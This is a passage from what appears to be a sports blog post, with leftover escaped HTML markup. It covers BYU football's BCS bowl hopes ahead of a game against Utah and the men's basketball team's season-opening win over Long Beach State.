With a solid win like this the Cougars appear ready to give Utah all they can handle next week in Salt Lake City.  Plus, the BCS ranking for the Cougs ought to jump nicely this week with a win against an 8-2 team.  BYU needs a win next week and a Boise State loss to have a legitimate chance at a BCS bowl &#8212; not out of the question but not likely either.<\/p>\n<p>In other BYU sports news, the Men&#8217;s Basketball team <a href=\"http:\/\/rivals.yahoo.com\/ncaa\/basketball\/recap?gid=200811140068&#038;prov=ap\">beat Long Beach State last night<\/a> in the season opener.  Most of the team played poorly but senior star Lee Cummard put the team on his back and carried it to victory.
